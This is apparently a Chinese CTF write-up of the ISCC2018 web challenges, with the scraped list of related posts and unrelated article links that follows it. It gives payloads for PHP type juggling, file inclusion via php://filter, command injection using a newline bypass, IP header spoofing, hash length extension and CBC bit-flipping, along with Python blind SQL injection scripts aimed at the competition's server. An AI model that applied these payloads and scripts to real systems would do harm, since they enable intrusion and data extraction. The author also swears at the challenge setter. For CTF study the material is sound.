比较数字大小

F12 修改maxlength为4

web01

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。

payload:  get: /?password[]=1

本地的诱惑

右键查看源代码即可。

你能跨过去吗?

复制callback参数内容 base64解码得到<script>alert("key:/%nsfocusXSStest%/")</script>  复制key的内容 提交得到flag;

一切都是套路

访问/index.php.txt得到源代码:

变量覆盖漏洞($$):

get: ?_200=flag

post: flag=x

你能绕过吗

更改f参数的内容发现会报错,猜测是文件包含漏洞

用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

web02

burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。

请ping我的ip 看你能Ping通吗?

根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

用  ls / 命令查看目录

最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag

Please give me username and password!

/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

?username[]=0&password=1e9

SQL注入的艺术

点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。

import re
import requests cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for i in range(1,46):
for ss in list:
p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
u = requests.get(url+p)
if "head.jpg" in u.content:
cname += chr(ss)
print cname
break for i in range(1,23):
for l in list:
pp = payload.format(p='select flag from admins',m=i,n=l)
u = requests.get(url+pp)
if "head.jpg" in u.content:
flag += chr(l)
print flag
break

  

试试看

/show.php?img=1.jpg  复制图片地址  文件包含漏洞。

由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

Collide

直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击

编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher)) jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))

  

先用admiN 123456登录

在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。

复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;

为什么这么简单啊

根据提示利用 xff ip地址伪造和referer 即可进入第二关。

右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com

php是世界上最好的语言

用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)

点击得到

利用全局变量打印出$flag变量即可。

Sqli

题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。

解密: u4g009

提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。

顺便附上我写的垃圾盲注脚本

import requests

tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz') # for i in range(1,10):
# for k in fuzz:
# p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
# u = requests.post(url,data = {'username':p,'password':'admin'})
# if 'normal' in u.content:
# tname += k
# print tname
# break for i in range(1,33):
for k in fuzz:
p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
u = requests.post(url,data = {'username':p,'password':'admin'})
if 'normal' in u.content:
pwd += k
print pwd
break

有种你来绕


根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注得到密码。

写了个脚本跑出密码登录。

import requests

url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(1,33):
for k in fuzz:
p = payload.format(i,ord(k))
u = requests.post(url,data = {'uname':p,'passwd':'admin'})
if not 'username' in u.content:
password += k
print password

解密: nishishabi1438  (我他妈想打死傻逼出题人)

输入flag,执行即可。

web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。

ISCC2018 writeup(web)的更多相关文章

  1. ISCC2018(web)

    ISCC2018 web writeup (部分) #web1:比较数字大小 只要比服务器上的数字大就好了 限制了输入长度,更改长度就好 #web2: 普通的代码审计,数组绕过 #web3:本地的诱惑 ...

  2. 2018国赛 - Writeup(待补充)

    10.0.0.55 Writeup Web 0x01 easyweb 解题思路 题目很脑洞 用户名admin 密码123456进去可得到flag(密码现在换了) 解题脚本 无 Reverse 0x02 ...

  3. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  4. DDCTF-2019-writeup(7web+5misc)

    一年前第一次参加了DDCTF,再次参加简单记录下web与misc的writeup Web Web1 滴~ 1.jpg参数可以包含文件,参数经过两次base64和一次16进制编码,将index.php编 ...

  5. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  6. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  7. 实验吧web题(26/26)全writeup!超详细:)

    #简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...

  8. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  9. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

随机推荐

  1. CentOS7 更改默认启动桌面(或命令行)模式

    centos7以后是这样的,7以前就是别的版本了 1.systemctl get-default命令获取当前模式 2.systemctl set-default graphical.target 修改 ...

  2. 第三篇Scrum冲刺博客--Interesting-Corps

    第三篇Scrum冲刺博客 站立式会议 1.会议照片 2.队友完成情况 团队成员 昨日完成 今日计划 鲍鱼铭 主页页面跳转社区功能及社区设计及布局实现 搜索页面跳转.设计及布局实现 叶学涛 编写个人页面 ...

  3. 第六篇 Scrum冲刺博客

    一.会议图片 二.项目进展 成员 已完成情况 今日任务 冯荣新 购物车列表,购物车工具栏 博客撰写 陈泽佳 静态结构 自定义图片组件,提交功能 徐伟浩 协助前端获取数据 协助前端获取数据 谢佳余 未完 ...

  4. Revisiting Fundamentals of Experience Replay

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! ICML 2020 Abstract 经验回放对于深度RL中的异策算法至关重要,但是在我们的理解上仍然存在很大差距.因此,我们对Q学习方法 ...

  5. The Successor Representation: Its Computational Logic and Neural Substrates

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Received May 14, 2018; revised June 28, 2018; accepted July 5, 2018.T ...

  6. Mac上Safari不能关键字搜索

    今天打开Mac,用Safari浏览器搜索的时发现不能进行关键字搜索,搜索栏只能打开网址. 现在问题已经解决,只要删除Safari上的cookies就可以了.操作步骤如下: Safari ->pr ...

  7. Json解析方式汇总 excel vba

    一. 这种方式比较复杂,因为office版本的原因,所以要加其它函数 Private Function parseScript(strJson As String) Dim objJson As Ob ...

  8. source insight编辑matlab,不可

    先说结论,我用的source insight版本是4.0x,matlab的语言包用的sourceinght官网提供的matlab.clf.链接如下:https://www.sourceinsight. ...

  9. e3mall商城的归纳总结7之solr搭建和应用

    敬给读者的话 本文主要应用的技术是solr技术的搭建和应用,本文小编尽量写的更详细一些,让读者在不考虑项目的情况下也能正常完成solr的搭建,说完搭建之后,再说明运行solrj在项目中如何应用solr ...

  10. Android开发java开发之常用英文词汇汇总。程序员必备英语单词

    ANR  (Application Not Response )  bundle 捆, entire 整个的,完整的 lifetime 生命周期 entire lifetime 完整生命周期 visi ...